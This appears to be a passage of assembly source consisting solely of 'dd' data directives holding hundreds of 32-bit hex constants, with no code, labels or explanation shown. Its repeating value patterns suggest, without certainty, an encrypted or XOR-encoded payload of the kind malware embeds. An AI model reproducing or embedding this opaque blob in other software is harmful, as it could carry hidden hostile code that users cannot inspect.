		dd 0E39C5375h, 60A209AAh, 0A4CF5475h, 9EF2CD74h, 0D10FB79Ch
		dd 8F7D3424h, 66443204h, 0ADBE599Eh, 0D35545C5h, 35FE9401h
		dd 2ED98075h, 0AFA7F460h, 21171832h, 64A5AECh, 76AD83E8h
		dd 9A223215h, 22D5B403h, 564856B5h, 948056C1h, 99328614h
		dd 4C322FA0h, 6E003D13h, 69443215h, 66223093h, 0EB705215h
		dd 4CB38D90h, 0A4CF5213h, 0F9C8B373h, 0B6EE536Ch, 668EB41Ah
		dd 0ED243215h, 7F3B9E2h, 661126FCh, 7C4EA15h, 0B513E2FEh
		dd 3F6C6D15h, 0A435306Fh, 6690EFC6h, 44C1BB3Fh,	932403A2h
		dd 41D8B7D3h, 8FCF343Fh, 6644321Bh, 0BB724802h,	4F2E9792h
		dd 9BCA5E9Ah, 722CF72Bh, 9EFD94EBh, 450C87EAh, 0E587343Fh
		dd 66443200h, 6625DA75h, 807C3215h, 94AD5851h, 0E74B6AADh
		dd 66223215h, 0D994BF74h, 8F8E182Eh, 6644321Ah,	5327212Dh
		dd 7466CC0Ch, 62A4B38Dh, 8F35A0A4h, 66223206h, 6E09678Ah
		dd 965D8DAh, 23C7649h, 0A22BD30Dh, 99EA9294h, 0E301CAC5h
		dd 60758533h, 662239FCh, 88656D15h, 1AAD877h, 0F4C6E879h
		dd 0AFA7F4E0h, 39171832h, 6680B81Ah, 0E84B3215h, 66223217h
		dd 0E795375h, 8F1662E7h, 66443206h, 81C755F4h, 263D6F83h
		dd 80D483F3h, 94FFF200h, 995EF66Bh, 4C322FA0h, 0D95213h
		dd 5E77EB94h, 0BF953D4Ch, 0D994BF74h, 9A8E182Eh, 3024E2EAh
		dd 30678C4Dh, 0EF700338h, 573F1890h, 0E382CB13h, 600815DCh
		dd 8991525Ah, 650C3D05h, 69443215h, 0E43EBAAh, 0A1ED492Ah
		dd 6685DB75h, 18DF3215h, 870FFA6h, 21CCA217h, 0D2DCC9h
		dd 7413DAFh, 7B97CDEDh,	93171836h, 5D37B798h, 72AD343Fh
		dd 0D0223215h, 0EECAF8D4h, 0DD9E497Eh, 564725EDh, 66EF7B44h
		dd 99F2359Ch, 668DDBC5h, 55D73215h, 9E3CCF77h, 0D147B79Ch
		dd 0EE873424h, 66443214h, 0AFA7F4EDh, 21171832h, 668826FCh
		dd 722A7E15h, 46A0A294h, 0E1562C35h, 0BF4D7F1Ah, 6C714E24h
		dd 86E5A14h, 6EF8C84Eh,	2C883215h, 0B82EBDE2h, 99987D43h
		dd 4C322FA0h, 6699DB13h, 93A23215h, 222884E3h, 695E638Bh
		dd 0EA470890h, 8F291364h, 6622321Ah, 6CC3A959h,	1876DC4Dh
		dd 6BF3052Dh, 0EBE06D71h, 4C2A8D90h, 690B3D13h,	8F443215h
		dd 6622321Fh, 4454E4F2h, 8C8C3DFDh, 0B6BB91A1h,	3CA7BBE9h
		dd 8F1703A2h, 66883201h, 943DC9FBh, 3BAA5FB1h, 3C68E1EBh
		dd 242CEB0Bh, 78BABC10h, 0AFA7F4ECh, 21171832h,	66883FFCh
		dd 8C07D015h, 670D858Ch, 0AB13DFDAh, 0ABE0D1DEh, 8F873431h
		dd 6622321Fh, 0C4A81197h
		dd 0FA1FD6F6h, 0D3BBB922h, 60081108h, 0D994BFE9h, 8F8E182Eh
		dd 66443204h, 0F5D33EB4h, 7FFA0AD7h, 10DD57F1h,	56D3EA15h
		dd 69F2CDF0h, 66113194h, 7705215h, 0D11AB79Ch, 6CCB3424h
		dd 0AD113215h, 0F554484Eh, 2EDB10Ah, 0AFA7F46Eh, 39171832h
		dd 668822FCh, 40A60F15h, 40CB48A3h, 5C468316h, 16AB99ACh
		dd 69AD52CDh, 8C223215h, 0DDFB876Fh, 3A6FC989h,	44A59149h
		dd 0E433579h, 0B2AA52D9h, 668ABF1Ah, 7243215h, 453F87EAh
		dd 76F8343Fh, 8F883215h, 43E09880h, 0B7A1F599h,	3CA2EFF1h
		dd 0EBEEDC25h, 4C7F8D90h, 0EA2DCE13h, 6611321Fh, 0B278B275h
		dd 8784B373h, 0B6DD53F7h, 661135FCh, 2027BD15h,	0CF55E21h
		dd 66223BFCh, 0A52F6115h, 66091602h, 0E3CD8B28h, 6013853Bh
		dd 661BBE1Ah, 63613215h, 0B443215h, 6F5A3D99h, 661123FCh
		dd 77A9DF15h, 0B9157CD2h, 851E42F2h, 0D7F3848Bh, 0E34EEE95h
		dd 606E15DCh, 662FDB4Ah, 92553215h, 51AAE819h, 3CBE1A54h
		dd 0EE9CFC4h, 0F8F8665Bh, 7B3DCDE0h, 8F421836h,	66223210h
		dd 0E4AE2814h, 0D90DBF50h, 8F42182Eh, 66223207h, 0EAD80D10h
		dd 7D25143Eh, 68D99FAh,	791F449Dh, 0E01E5F98h, 6688321Fh
		dd 664437FCh, 69DAB115h, 0B6EEB081h, 6684BA1Ah,	0E44B3215h
		dd 66223213h, 6611B41Ah, 0E3013215h, 60758527h,	6637B31Ah
		dd 0ED1E3215h, 6688321Ah, 664438FCh, 5A3EB15h, 4AEA610Ah
		dd 8F339A33h, 66443219h, 0B99182C6h, 52895D3Ch,	0E6F7E5DBh
		dd 418DB7D3h, 8F7D343Fh, 66113201h, 0F86E3503h,	229C05D6h
		dd 44F83EE1h, 9C397322h, 0AD75E34Fh, 756C7A7Dh,	6CCB52C4h
		dd 0FD113215h, 8459EB30h, 9BAE8DE7h, 662BDB43h,	0CD193215h
		dd 0D6676875h, 7933ECAh, 453F87EAh, 0EBE8343Fh,	4CB38D90h
		dd 0D6245213h, 0A0C0B396h, 7445707h, 748851Ah, 0E34BE2EAh
		dd 66223212h, 6610B11Ah, 69703215h, 6644389Ch, 6627DB15h
		dd 0A05B3215h, 0EFDEE9BDh, 57F30490h, 67A73D13h, 93113215h
		dd 6A61367Fh, 0C3443215h, 54FB167Ah, 71D01F9Bh,	0EC293B7h
		dd 66442215h, 0E69D5475h, 6618DBD3h, 4D503215h,	0EA169917h
		dd 735C01Fh, 6601327Dh,	0C70CE15h, 664FDB15h, 6E343215h
		dd 653C8298h, 0B14AF253h, 4FD1CDF6h, 69241836h,	66113592h
		dd 67043D15h, 93443215h, 6D47B79Ch, 0EBE9343Fh,	57081890h
		dd 0B6BBC713h, 6628DA75h, 70DF3215h, 0EB266C05h, 0C41F2113h
		dd 7E3B94Eh, 0EE8367Fh,	66882215h, 6648BF1Ah, 61CB3215h
		dd 53113215h, 0B04E8295h, 662C1A03h, 8F223235h,	66113210h
		dd 3EB5EB6Ch, 694458EEh, 66223A9Dh, 64903D15h, 6883215h
		dd 4FD1CD74h, 9E241836h, 7620B79Ch, 8FE8343Fh, 66443213h
		dd 5276E8E3h, 0EF701FBFh, 4C928390h, 0B0C45213h, 72A73DB7h
		dd 8F113215h, 6688321Ah, 52831537h, 0D6B356Ah, 2C0A707Fh
		dd 78DF9BAh, 0E94B727Fh, 66223214h, 76115AE0h, 0EF873215h
		dd 66443212h, 6623B21Ah, 0EE93215h, 66893215h, 97CE52E0h
		dd 6EF9B373h, 667B5399h, 4F1DCDEDh, 6421836h, 6BCB3DA6h
		dd 0C9113215h, 5FFE2EDCh, 2755A15Bh, 0C11FBCD7h, 0C394BB74h
		dd 9F8E1827h, 4DFD879Eh, 0EA2D343Fh, 66113212h,	6689B11Ah
		dd 0EDB83215h, 4C3B7788h, 661CDB13h, 38383215h,	0F322D85Bh
		dd 5F38E104h, 9FA0F50Fh, 452D879Ch, 0EA4B343Fh,	6622321Fh
		dd 661137FCh, 0AEFFB615h, 0FBCD4D0Bh, 600824A8h, 6618BC1Ah
		dd 9AE83215h, 6644B61Ah, 0ED433215h, 4C087788h,	0DCDACB13h
		dd 66443215h, 1E64F094h, 0BC10616Eh, 1ECED894h,	6CCF616Eh
		dd 7EA53D4Fh, 6113215h,	69616A42h, 0AC443215h, 0BDB54B53h
		dd 0A6E62712h, 9B3323D8h, 0E52594A8h, 0E22D32ECh, 66110937h
		dd 668FB11Ah, 0EB4B3215h, 66223214h, 819865ECh,	668CF594h
		dd 89C53215h, 66223211h, 3A350E92h, 8FAC369Ch, 66443206h
		dd 0B43E371Dh, 1777FCC0h, 935B88EEh, 8F8003A4h,	0E7FAC8Dh
		dd 6611453Bh, 93AC3E9Ch, 0FCF75275h, 66223BFCh,	848DC615h
		dd 71F7F6DAh, 5725E955h, 6633DBD5h, 87E63215h, 786A37FBh
		dd 77EE6284h, 0B2926C8Fh, 0EF0984F1h, 4C853F90h, 0B6CF5213h
		dd 7EC8D1Ah, 0A8A8B75h,	0E3870021h, 66443217h, 31435375h
		dd 66110EAAh, 9D016115h, 391FEC9Ch, 6633DB75h, 0F55A3215h
		dd 23AE6189h, 0DBAADB67h, 5D00C40Ch, 36252EF2h,	66883FFCh
		dd 6FEECA15h, 9D00048Ah, 657B0028h, 7D35640h, 6653BC1Ah
		dd 74CB3215h, 57113215h, 8AC05CCDh, 1AA3E922h, 0CA78D86h
		dd 0CAAA89h, 9D66B331h,	656E363Eh, 36021661h, 623AC9ADh
		dd 3E4E333Fh, 9EE954ECh, 66223FFCh, 0FE864215h,	224E0C19h
		dd 262F2DFh, 0DC7026EBh, 620609BAh, 11FD894h, 84C555B3h
		dd 7AD858D8h, 0A716D0D4h, 844931F7h, 0B886B310h, 67D82D0Ch
		dd 221268C5h, 0B8A51231h, 65E110Ch, 0F5988B73h,	4CCBB344h
		dd 3897F85Bh, 6654DB74h, 11853215h, 3E085500h, 0BE1F8282h
		dd 0A3FBE1B1h, 16DD5766h, 423DB36Dh, 7EE222D1h,	0A2FC624Bh
		dd 673A5805h, 0E91E6AD3h, 66883200h, 664422FCh,	0DAE09D15h
		dd 15EB4191h, 4C0CE705h, 5856E79Bh, 59E4B399h, 650D301Ch
		dd 35A81661h, 644D0DAEh, 3DFC1B09h, 97A63D75h, 99E9C59Eh
		dd 52C52A63h, 0B86CEC31h, 422DB955h, 0E78CF696h, 0B80AECE2h
		dd 85A35255h, 130D849Eh, 668821FCh, 0EE9B7E15h,	0F0B0A6CAh
		dd 0B90B9307h, 0C36A5023h, 3359A39h, 0DBABCE74h, 603B3A50h
		dd 668EBD1Ah, 36243215h, 78F844Ah, 0E31ECD90h, 6688322Bh
		dd 7CEDAECh, 0E32D3215h, 66113212h, 6689B61Ah, 9FB83215h
		dd 6627E5FCh, 6618DB15h, 0CAAC3215h, 2F3E247Dh,	8F63D335h
		dd 66113207h, 1A3F92B8h, 4F42E56h, 0DC786FD9h, 6330AB09h
		dd 87E06B3Eh, 0EF443258h, 75CB1619h, 12113215h,	0DB7ADA5Ah
		dd 0FCF11860h, 8B785C2Fh, 9B2B91CAh, 34DF9473h,	2E0278AFh
		dd 4276332Bh, 0E74B6811h, 2ECE78FFh, 6ACF3D2Bh,	69223215h
		dd 66113495h, 66083D15h, 69443215h, 6622389Eh, 7715215h
		dd 6688BC1Ah, 0D253215h, 4236C7h, 0D877E59Eh, 0EFE9F5DBh
		dd 4C695380h, 755213h, 0DC4FEA9Eh, 6AB3EE63h, 67CD3D74h
		dd 9F223215h, 0E11E367Fh, 66883207h, 66443FFCh,	0A332B115h
		dd 0BF0BC17Bh, 13805C8Dh, 662C7582h, 69223205h,	6611119Fh
		dd 6E615215h, 0EF443215h, 0D33D4715h, 8EC28768h, 6688321Bh
		dd 0D3702767h, 0C1BA6A11h, 0C51A015Fh, 7D25253h, 66496C7Dh
		dd 4236BB15h, 6610B21Ah, 0C7D3215h, 664BDB15h, 2E503215h
		dd 0EACF12F5h, 6EC6BEC3h, 3F09E940h, 6628DB6Ah,	18843215h
		dd 0A0D0C010h, 0C0CDE3DBh, 450BA7EAh, 0E41E343Fh, 6688320Ch
		dd 664426FCh, 9B189115h, 0E9719473h, 2B3BCC28h,	12AC334h
		dd 0F4C1A23Dh, 4394BB2Eh, 68E1803h, 786B973h, 0A39C6445h
		dd 4F4CC420h, 388C1661h, 0A386B34Fh, 9A7FC420h,	3F3506EAh
		dd 668CF694h, 0E7243215h, 0F39CEAFCh, 0B3AB546Bh, 9B6053A6h
		dd 6944324Ah, 66222694h, 68933D15h, 8F883215h, 6644321Ch
		dd 74D1D487h, 0E618B729h, 95A5AD1h, 52CD3215h, 0E52DC731h
		dd 6611321Dh, 668ABF1Ah, 7243215h, 6633DBB8h, 0D6E23215h
		dd 430F6F06h, 0CABDE818h, 204080FAh, 352B9B54h,	37DFA5AEh
		dd 3D9C333Ah, 42067616h, 3746A538h, 0A609523Ah,	7D629BDh
		dd 3643ED9Eh, 4215B942h
		dd 668CF694h, 9E1B3215h, 0CF9C6442h, 57113616h,	388C1661h
		dd 0CFB7B34Eh, 6223616h, 3E486542h, 668CBE1Ah, 0D8223215h
		dd 0E43C48Eh, 66111A3Bh, 69AC0E9Ch, 66443399h, 0EF2DCE15h
		dd 66113213h, 0D37AB975h, 0A674531Eh, 66223EFCh, 2E04CC15h
		dd 0D7D49868h, 59B12BEFh, 74CA52ECh, 0FC113215h, 0BFF234B7h
		dd 389DFA2Dh, 0C08244A0h, 0C39DD19Fh, 35E86B83h, 66CC3D4Ah
		dd 7223215h, 9B649C74h,	0D187CB75h, 69B153C5h, 66223E90h
		dd 6616DB15h, 1DF13215h, 0A209EE29h, 4216B910h,	63F1BB45h
		dd 66883211h, 66443610h, 4226B515h, 661FDB49h, 0F97B3215h
		dd 79A3B665h, 9E93F8E2h, 81F501A8h, 699B8F40h, 896D6C5Ah
		dd 0E7FD1B48h, 291E21D2h, 7E083D4Bh, 8F443215h,	66223206h
		dd 0A0A6D84Ch, 6FA327A6h, 52B38B2Bh, 63EA963Ah,	0E3696C9h
		dd 668834C5h, 6960269Ch, 66222A9Dh, 6602DB15h, 0CB943215h
		dd 29E61F3Ch, 5B512FC3h, 4FDE2FEFh, 0DCE7E9AAh,	9ECD624Ah
		dd 62A9F09Ch, 62D5B331h, 6883215h, 6642B21Ah, 0ACA33215h
		dd 104BD8Dh, 1968B375h,	9F20ED3Eh, 30425374h, 9C562AAh
		dd 6C606819h, 50443215h, 7D4BD9BDh, 991DD53Eh, 6685DBA9h
		dd 0D0803215h, 0D73743ADh, 50C5B8C4h, 3D0A62ECh, 3F9B974h
		dd 8F24181Eh, 66113201h, 0C97BCBBEh, 9116BE8Fh,	0EC7401B2h
		dd 0A9C8F926h, 9346920h, 6645B31Ah, 0DFDA3215h,	99EECDEAh
		dd 66883CFCh, 10219515h, 3C0A9385h, 0E013CEB2h,	575EAF1Dh
		dd 6ECE3DD5h, 69223215h, 66113098h, 34E95215h, 664432AFh
		dd 37D03315h, 661132ACh, 0EC593315h, 8F1E6B14h,	66223207h
		dd 36887F8Eh, 0A14749F7h, 95936039h, 3D06D358h,	0AE210CB8h
		dd 668823FCh, 97DAD615h, 3A6C8AD8h, 95786160h, 810C428Ah
		dd 0DC16C50Ah, 66223214h, 934BE414h, 66883CFCh,	0CC4B5C15h
		dd 770D7523h, 4B766BB0h, 9902D735h, 0DE14B521h,	3D90383Ch
		dd 6235763Ch, 4F8D6A4Dh, 691F801Fh, 66222098h, 63F85215h
		dd 0EC883215h, 0C336FBC8h, 6752FD94h, 0A77075E3h, 0E6873AFCh
		dd 66443208h, 6635B31Ah, 74F83215h, 0A7883215h,	0C8AF55A2h
		dd 0E83C7B85h, 0E5DC7894h, 1ABB0782h, 6985032Ah, 66223E9Ah
		dd 6616DB15h, 0B37E3215h, 0EA76A5DFh, 0E32D787Fh, 99EECD36h
		dd 6264B1EDh, 3E603E9Ch, 6637BC1Ah, 0E31E3215h,	6688321Ah
		dd 664438FCh, 0BA8D7715h, 0C6EE52A3h, 0F1E7EDDCh, 3114E5E2h
		dd 426D4Dh, 4487E094h, 42BCCD74h, 6280B34Fh, 93223215h
		dd 949A5475h, 0AD8275ABh, 3117533Ah, 0F91D137Dh, 0B1E66D2Ch
		dd 0A656DD94h, 9DCDF475h, 0EFF1334Ah, 8FE96916h, 66883212h
		dd 29594897h, 3147086Eh, 0F45471AAh, 0D547B317h, 916B1351h
		dd 0C7C5B3CAh, 0E746102Eh, 92F161E2h, 91C5757Ah, 59D67142h
		dd 934EC814h, 668C3B7Dh, 4250BB15h, 6628B51Ah, 63F83215h
		dd 7F883215h, 0D8E42C36h, 6B2FB7EAh, 0EF1E343Fh, 66883234h
		dd 6641DA75h, 0CF733215h, 3D57F2BFh, 66883DFCh,	3AEF4615h
		dd 7AD21775h, 15F050FAh, 0A3B07E54h, 6BD1B974h,	69241818h
		dd 66113F91h, 0E2875215h, 66443215h, 719B6ABh, 0F328531Bh
		dd 60A23A50h, 6615B61Ah, 99DE3215h, 0E74B1621h,	668836D1h
		dd 67CD3D15h, 93223215h, 3735069Eh, 0A709D39Ch,	66443211h
		dd 0E126F396h, 64D1619h, 668EB81Ah, 0E24B3215h,	66223215h
		dd 3AA95444h, 31E9684Ch, 664436AAh, 0EDDC3315h,	0A2901629h
		dd 66883211h, 9DA3DBECh, 99DBCDEAh, 0E74B1621h,	668836D1h
		dd 0ED225215h, 0AEA354ECh, 9970F6CCh, 0E7D61621h, 664436D1h
		dd 0D39A5215h, 473899h,	7F0EDADh, 6641DB74h, 7B533215h
		dd 0EDD40F21h, 0EFD91619h, 6285B3F4h, 0E5223215h, 6A9636D4h
		dd 74616E31h, 0C2443215h, 0AD65E0D3h, 9F6832C8h, 0BB8D19D4h
		dd 0D2EBDF3Fh, 4226B9C3h, 0E7F4BB40h, 668836D0h, 6281B315h
		dd 0E1223215h, 64D1639h, 771B973h, 7661B7D2h, 6622343Fh
		dd 0EE1E3215h, 66883212h, 6645B51Ah, 0A1DB3215h, 4C3C1F90h
		dd 66883213h, 0E5B1C715h, 5794ACA8h, 0E21E3213h, 66883209h
		dd 0AED9BFECh, 9E2402DEh, 6BF8E1EAh, 0F5883215h, 0A1BCB98Eh
		dd 65A5A92Ah, 0B012935h, 7EEDB7EAh, 76AD343Fh, 51223215h
		dd 0ABE4C5A5h, 0B78F65E1h, 19D70E95h, 0E5356079h, 4C0957A8h
		dd 0E4875613h, 664430E0h, 5D8675h, 0D5AFE894h, 30DF574h
		dd 6742180Dh, 6223215h,	661120FDh, 0F2DBD815h, 0D39B5D73h
		dd 43882E28h, 0C204D027h, 69F4B46Bh, 66443291h,	13996D15h
		dd 75C8EA6h, 69745275h,	0EB25E8A2h, 57A40A90h, 6E9F3D13h
		dd 69883215h, 66443099h, 99435215h, 74F852C5h, 7A883215h
		dd 0A24B9ADFh, 0DAD4C2Ah, 7B7FB515h, 8BF69F8Eh,	64C13DAEh
		dd 36223215h, 0D39C534Fh, 60B9857Bh, 6645B71Ah,	0EBDB3215h
		dd 545402A8h, 669ADB13h, 7E633215h, 3217BC5Fh, 48985B8Ch
		dd 0F6E7A342h, 0D4BAE855h, 206FF594h, 91385F48h, 71E48F40h
		dd 0BBB34A0Dh, 795AC794h, 8B901D80h, 32861E76h,	12FFDF94h
		dd 0E7671AB8h, 8C01B0E0h, 3B671B53h, 664420FCh,	0C5890B15h
		dd 1240A733h, 0E0F689Dh, 0D94AC03Eh, 0E7FA9783h, 661136F9h
		dd 4294BB15h, 0BCCDC99Ch, 8598524Eh, 28D9EAh, 7119CADh
		dd 6D218F9Eh, 0EA2D343Fh, 6611321Eh, 668834FCh,	8D9D6D15h
		dd 0DFD3463Dh, 99EECDEAh, 66883BFCh, 719FF515h,	1DDA3D19h
		dd 0E11E7778h, 66883214h, 68403E0h, 693DD395h, 66113391h
		dd 6E9CA15h, 0DE255275h, 0E2BA13Fh, 8A925374h, 4284BB11h
		dd 664432ACh, 0ECD33315h, 716B14h, 7B91D094h, 7B7851Ah
		dd 75CBFA25h, 0BF113215h, 0A34CBF41h, 0F0A786BFh, 31FC3F74h
		dd 9ECDABD4h, 3171282Bh, 664433AAh, 39DC3315h, 66113FFCh
		dd 50777415h, 0C5FF5D57h, 77FEFA3h, 0E71EF69Fh,	66883212h
		dd 9CFB3D75h, 9943FD9Eh, 4A90B521h, 2CD8D131h, 0DF156A79h
		dd 0A6862F6h, 8F48FA14h, 6688321Dh, 515D6E07h, 16732BCBh
		dd 619DBD4h, 8F5F8D1Ah,	66443204h, 52EE19D7h, 6F2CA2B7h
		dd 0B68C5F7Dh, 68766B43h, 0A71353EAh, 661ABF1Ah, 0E83215h
		dd 0D81804AAh, 4554590Dh, 0E31E7874h, 9977CD24h, 62CF63EDh
		dd 62E6B331h, 6113215h,	66883FFDh, 0BB08E615h, 2FF9A33Eh
		dd 66278F2h, 3E74F887h,	7A485A74h, 62AB3215h, 4205C531h
		dd 68093D4Dh, 8F443215h, 6622321Ch, 607BB529h, 8471E67h
		dd 17C10B80h, 6924180Eh, 66119191h, 69DA5215h, 6644329Dh
		dd 0B5A96B15h, 66115A74h, 62033215h, 6280B331h,	8F223215h
		dd 6611321Eh, 0B14E51A7h, 0EE132D92h, 6D98BDD2h, 79943DD5h
		dd 8F883215h, 6644321Bh, 87732AA1h, 60776F15h, 29878B73h
		dd 0E3839948h, 6008396Ch, 66113214h, 0D8DECAE0h, 6FD715B0h
		dd 8E9B635Bh, 271D141Ah, 0E7C1EBE2h, 0B86F1FD4h, 3FEC3321h
		dd 0F9F7B35Bh, 0E7E9EA60h, 1F5D0EE3h, 38D33335h, 6604B01Ah
		dd 0ECE83215h, 6648DBE4h, 98F03215h, 0F098536Fh, 8443F4EAh
		dd 8F25E0E1h, 6622321Dh, 0B8C18E9Bh, 0E767E329h, 0D94B5274h
		dd 9F953DC2h, 0FED05A74h, 6A034035h, 6280B331h,	69223215h
		dd 66113A96h, 640E3D15h, 6443215h, 709F6774h, 0E7324642h
		dd 7ECFE8E0h, 52C56701h, 23382831h, 94906863h, 10CD280Fh
		dd 0EE4B5248h, 66223216h, 0E6B973h, 0CBE9F49Eh,	71C13D75h
		dd 8F223215h, 66113207h
		dd 0AA8E2E6Ch, 505EFC14h, 394E6862h, 88441F0Fh,	0DCEEC164h
		dd 0EF255DE4h, 4C0197A0h, 6602DB13h, 0F9783215h, 18703A42h
		dd 0C5CA2483h, 80F9B98h, 0CE25123h, 8D2C67BEh, 3B7C4519h
		dd 41A6DF94h, 0D9DF4E30h, 7BEA28D9h, 0EF7DCF14h, 64CCE7Bh
		dd 8E70B973h, 66443212h, 8FFF5899h, 0E653B7B2h,	7D7ECCDh
		dd 88AADC28h, 0A5A73DFBh, 8F113215h, 66883201h,	7D1D9356h
		dd 1D7E26EEh, 981A92E4h, 7C75164h, 0B97DABD1h, 0BBFF0C94h
		dd 0E31EEFC8h, 6688328Bh, 3E135275h, 0A6F3B373h, 0ED7753BCh
		dd 8A0953EFh, 66443211h, 0DB061E9Ch, 7BC920D6h,	4F15F794h
		dd 0E70940A6h, 0ED1E6DE0h, 3B3FBB85h, 623163ECh, 67443215h
		dd 422EB9DBh, 8F15F696h, 6688321Ah, 0A3256C78h,	1766F130h
		dd 0E6B6CCDCh, 0EF9CFD27h, 4C6797A0h, 6EAE3D13h, 69113215h
		dd 6688309Fh, 8F255215h, 66221F04h, 66113CFCh, 657CAB15h
		dd 5F282E6Ah, 0BA0E0B21h, 8F1909C8h, 9977CC8Ch,	6653BD1Ah
		dd 74CB3215h, 0C9113215h, 9B6191F1h, 55E08A06h,	6DF50828h
		dd 0F5324E02h, 35D8CB81h, 9045E3AEh, 427E1B47h,	0E74A6911h
		dd 9089E3D6h, 0E377CE47h, 6008396Ch, 660DBD1Ah,	0EB873215h
		dd 66443203h, 662223FCh, 0C7C6A215h, 0E488B270h, 2BDE9425h
		dd 9558D237h, 0AED080F3h, 0DB375216h, 7292424h,	0EE387F10h
		dd 362375Ch, 0B6A10E53h, 20214138h, 7C6F1F29h, 0A7E47B9Dh
		dd 69E822D5h, 6644329Dh, 65AA3D15h, 69113215h, 57E9C8AAh
		dd 0ED4B52DDh, 66223217h, 0EF70EA9Eh, 4C834B88h, 6656DB13h
		dd 98363215h, 0E522F051h, 0FEEFEC08h, 0D6F408A9h, 2E032003h
		dd 67113228h, 740B3D15h, 9A443217h, 0DD990C94h,	0E31E89AEh
		dd 66883010h, 664437FCh, 65273B15h, 3342FFCBh, 2891C6A8h
		dd 746B8950h, 8D23DE05h, 0BB17F548h, 674693C6h,	6DAD690Bh
		dd 58223215h, 0D2B1C69Dh, 67D63FF4h, 3115277Dh,	662236AAh
		dd 39E8BB15h, 69D1FC14h, 66442D91h, 61CB5215h, 0B3113215h
		dd 4356993Bh, 6DACF3FBh, 56223215h, 63E7903Fh, 7567D2Fh
		dd 71C4150h, 4587879Ch,	0EDE9343Fh, 4C917788h, 67C33D13h
		dd 9A223215h, 6A9A01EAh, 624CB131h, 6645B11Ah, 9EDA3215h
		dd 0EF15DE96h, 0A7011619h, 8F1DF89Ch, 6622321Eh, 251AA1FDh
		dd 0AF75DD88h, 6D0A047h, 0A8A95475h, 6602DB75h,	9F6A3215h
		dd 2EF7B971h, 0BBB188AEh, 0F3CFA94Dh, 9CD6B66Ch, 0A6FB3DA5h
		dd 0E7705374h, 31421621h, 35D03858h, 2B1361AEh,	3DFA031Fh
		dd 6610BE1Ah, 4D703215h, 4C55A390h, 662EDB13h, 0FE2D3215h
		dd 0DBA2FF6Eh, 7E7F7F68h, 86E352EBh, 6A9A3D17h,	69883215h
		dd 66443498h, 66A33D15h, 65113215h, 4C854790h, 6643DB13h
		dd 58943215h, 70AFDDDDh, 8A0B6215h, 4270BB11h, 74CB6C4Dh
		dd 8C113215h, 5D2AD336h, 0EA83DD72h, 0C0CC42FCh, 0F04EEAEDh
		dd 8EE89F10h, 6644321Bh, 4BA025B4h, 7FBF6018h, 0DC3C9194h
		dd 38BD6523h, 7DA851Ah,	661134FCh, 56D1915h, 63C2DA36h
		dd 0A632F26h, 1D627B38h, 63403374h, 73F415Ch, 273F0138h
		dd 719E3D79h, 8F883215h, 66443207h, 2A72D13Bh, 9BE2350Ch
		dd 97D68FB0h, 716EAD98h, 9A425B50h, 6613B61Ah, 7E83215h
		dd 4200BB74h, 6630DB09h, 0F4893215h, 0E82CD707h, 0C3F1857Ah
		dd 32D73E70h, 3A7970CCh, 6690B21Ah, 75AD3215h, 66223215h
		dd 0A0420ED5h, 7942DFD2h, 28159DA5h, 0A8D0D96Eh, 8F705850h
		dd 6688321Bh, 96650E3h,	0AC3FA58Eh, 0B52579BAh,	0B561E35Ah
		dd 8F443217h, 66223218h, 0CBA9003Eh, 0C8296C38h, 0BBEA1C3Bh
		dd 80AB6490h, 6615F494h, 880B3215h, 4270B511h, 422EBB49h
		dd 0B9A63D75h, 668821FCh, 0F7B54815h, 7FEDBF34h, 93D30C65h
		dd 902F36BFh, 4E3FA765h, 35725A74h, 72983215h, 6A093D31h
		dd 8F443215h, 66223212h, 0FC924805h, 8F99586Dh,	66443213h
		dd 9463938Eh, 0AF20CB49h, 431DB9E9h, 6421803h, 0DEF1B973h
		dd 40D69828h, 22385274h, 174FC3AEh, 64195307h, 66D0B61Ah
		dd 6D613215h, 22443215h, 274ED60Fh, 0C3AE4182h,	34D8E4F2h
		dd 664436AFh, 3CF2BB15h, 6949F014h, 6688359Eh, 7245215h
		dd 785DE95h, 66108847h,	0B7893215h, 0EB7FC74Fh,	60083A50h
		dd 99A9B71Ah, 8EE8CDEAh, 66443207h, 7895008Dh, 0B1304939h
		dd 0AE2641EDh, 3F62AEAh, 39726B46h, 65923D4Fh, 69883215h
		dd 3125ECA2h, 0A87EEF7Dh, 89906D1Ah, 8F14190h, 0D812EDE2h
		dd 0C776DB4Dh, 0EF4FC514h, 0E4876DEDh, 6644321Ah, 662238FCh
		dd 4F574815h, 4347FBA5h, 0EB6A4D50h, 4C6CA598h,	61913D13h
		dd 69883215h, 66443397h, 87DDC715h, 661123FCh, 36DD7515h
		dd 993A1DBBh, 604DE52Bh, 8C47E1F8h, 0EF7DB24Bh,	4C493F98h
		dd 662DDB13h, 378E3215h, 9982C1CBh, 71ABC53Fh, 0C2A925A5h
		dd 4225CD71h, 624CB14Fh, 4270CDE9h, 62E6B34Ch, 6113215h
		dd 994FF5AEh, 664CDB29h, 1CFE3215h, 0B01764A2h,	0EE92543h
		dd 664439C6h, 9E06069Ch, 7F54AF9Eh, 7561343Fh, 15443215h
		dd 5D7DE1D1h, 0FDCFDB97h, 209E8E01h, 6C409D28h,	55DDB34Fh
		dd 0E7353E9Eh, 668836D1h, 6BC83D15h, 6223215h, 87D3B373h
		dd 66093D2Bh, 7443215h,	52BF8A75h, 0D11E273Eh, 0E30353EEh
		dd 606E3F18h, 0A19D3D75h, 9F7084A3h, 67DD2C4h, 8F1ECB43h
		dd 66223218h, 75CAA1ADh, 0BA54AFCBh, 394273F8h,	0E32153A1h
		dd 603B36C4h, 52365475h, 6648DA7Eh, 8F673215h, 3316A9AAh
		dd 65650485h, 0E44B5D93h, 66223215h, 9020534Eh,	668822FCh
		dd 158C0015h, 5C4D696Bh, 0E21FFB74h, 0E3698EE0h, 722C62C9h
		dd 0EF223211h, 38491621h, 90095275h, 2D01601Eh,	0A0326DACh
		dd 1DAB5333h, 7BBC276h,	0A7BC9F73h, 304230F5h, 66113BFDh
		dd 3331CE15h, 91EE3447h, 3C7C147Ah, 7E3851Ah, 6BFDB716h
		dd 0E84B343Fh, 66223219h, 661135FCh, 0CBEAB115h, 985951CAh
		dd 0A013C224h, 6FF8C224h, 36883215h, 20A327E2h,	9439AA9h
		dd 7B14CAB8h, 67D75522h, 7BF967DDh, 4F7D5522h, 6AF86FFDh
		dd 7E883215h, 0BF623D8Fh, 21570AC9h, 997EC9F1h,	0E7D61621h
		dd 664436D1h, 0DBA1CA15h, 603B26ECh, 8B0C3D14h,	69443215h
		dd 6622339Bh, 0EB2ACE15h, 60A21108h, 669EB61Ah,	34423215h
		dd 15CAB373h, 6F606874h, 8B443215h, 0AE3FAFECh,	0C59CFF11h
